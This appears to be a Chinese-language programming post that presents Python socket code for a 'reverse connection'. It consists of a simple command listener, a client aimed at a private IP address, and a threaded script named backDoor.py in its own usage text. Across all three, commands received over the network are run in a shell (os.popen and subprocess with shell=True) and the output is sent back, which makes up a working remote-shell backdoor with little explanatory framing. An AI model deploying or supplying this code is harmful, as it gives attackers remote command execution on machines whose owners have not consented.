Python实现Socket通信建立TCP反向连接

import socket
import os

ip = ""      # 空表示可连接所有主机
port = 5555  # 设置端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # 对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 关闭后不需要保存状态可以立即开启
s.bind((ip, port))  # 对象s 开始绑定ip和端口
s.listen(10)        # 启动监听状态，设置队列中等待连接服务器的最大请求数10
conn, addr = s.accept()       # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
print("已建立远程连接：", addr)  # 显示对方地址

while True:
    data = conn.recv(1024)  # 接收对方字符串 #如果对方不发数据会卡住
    if data == b"q":        # 接收到程序终止信号则中断连接
        break
    data = str(data, encoding="utf8")  # 将数据转换为字符串类型
    print("远程主机请求的命令：", data)
    f = os.popen(data)  # 可以将命令的内容以读取的方式返回
    data2 = f.read()
    if data2 == "":
        conn.send(b"finish")
    else:
        conn.send(bytes(data2, encoding="utf8"))  # 发送命令运行结果

conn.close()  # 断开连接
s.close()     # 关闭套结字

import socket

ip = "192.168.146.126"  # 对方服务器ip地址
port = 5555             # 对方服务器的端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 对象s使用基于tcp协议的网络套接字
s.connect((ip, port))   # 创建socket连接

while True:
    data = input("请输入命令：")
    data = bytes(data, encoding="utf8")
    s.send(data)          # 发送数据给对方
    data2 = s.recv(1024)  # 接收返回的数据
    print(str(data2, encoding="utf8"))
    if data == b"q":
        break

s.close()

getopt(args, shortopts, longopts = [])

import socket
import getopt
import sys
import subprocess
from threading import Thread


def main():
    target = ""  # 目标IP
    port = 0     # 目标端口
    listen = False
    help = False

    # 利用getopt模块从命令行获取参数，sys.argv[1:]可以过滤掉第一个参数（第一个参数是脚本的名称，它不应该作为参数进行解析）
    opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
    for o, a in opts:
        if o == "-t":
            target = a
        elif o == "-p":
            port = int(a)
        elif o == "-h":
            help = True
        elif o == "-l":
            listen = True
        else:
            # 断言，传入的参数有误
            assert False, "Unhandled Option"

    # 输出帮助文档
    if help:
        usage()

    # 获分客户端和服务端
    if listen:
        server_handle(port)
    else:
        client_handle(target, port)


# 受控端
def server_handle(port):
    # 创建socket通道
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 绑定
    server.bind(('0.0.0.0', port))
    # 监听
    server.listen(10)
    print("[*] Listening on 0.0.0.0:%d" % port)
    while True:
        client_socket, addr = server.accept()
        print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
        t = Thread(target=run_command, args=(client_socket, server,))
        t.start()


# 控制端,发送命令，接收受控端命令行的回显内容
def client_handle(target, port):
    # 创建socket通道
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器
    client.connect((target, port))
    # 接收数据
    while True:
        recv_len = 1
        # 接收到的数据是utf-8
        resBuffer = "".encode('utf-8')
        while recv_len:
            data = client.recv(4096)
            recv_len = len(data)
            resBuffer += data
            if recv_len < 4096:
                break
        # 在windows下中文会乱码，所以转成GBK
        print(resBuffer.decode('gbk'), end="")
        # 接收命令，发送命令需要将命令转成byte，并且编码是utf-8
        buffer = input("")
        if buffer.encode('utf-8') == b"quit":
            break
        buffer += "\n"
        client.send(buffer.encode('utf-8'))
    client.close()


# 执行命令涵数
def run_command(client_socket,s):
    while True:
        # 发送命令给客户端
        client_socket.send(b"shell_>")
        # 定义接收命令byte类型变量
        cmd_buffer = "".encode('utf-8')
        # 接收客户端发过来的消息，直到预到换行，代表客户端消息输入完成
        while b"\n" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        if cmd_buffer == b"quit":
            break
        # 将完整的byte变量消息转成字符串
        cmd_buffer = cmd_buffer.decode()
        try:
            # 通过隧道执行命令并以byte数据类型返回输出的数据
            out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
            # 将返回的数据发送给客户端
            client_socket.send(out)
        except:
            client_socket.send(b"faild to execute the command")
    client_socket.close()  # 断开连接
    s.close()  # 关闭套结字
    exit(0)


# 输出帮助信息
def usage():
    print("help info : python backDoor.py -h")
    print("client : python backDoor.py -t [target] -p [port]")
    print("server : python backDoor.py -lp [port]")
    print("Exit ：Input quit to exit ")
    sys.exit()


if __name__ == "__main__":
    main()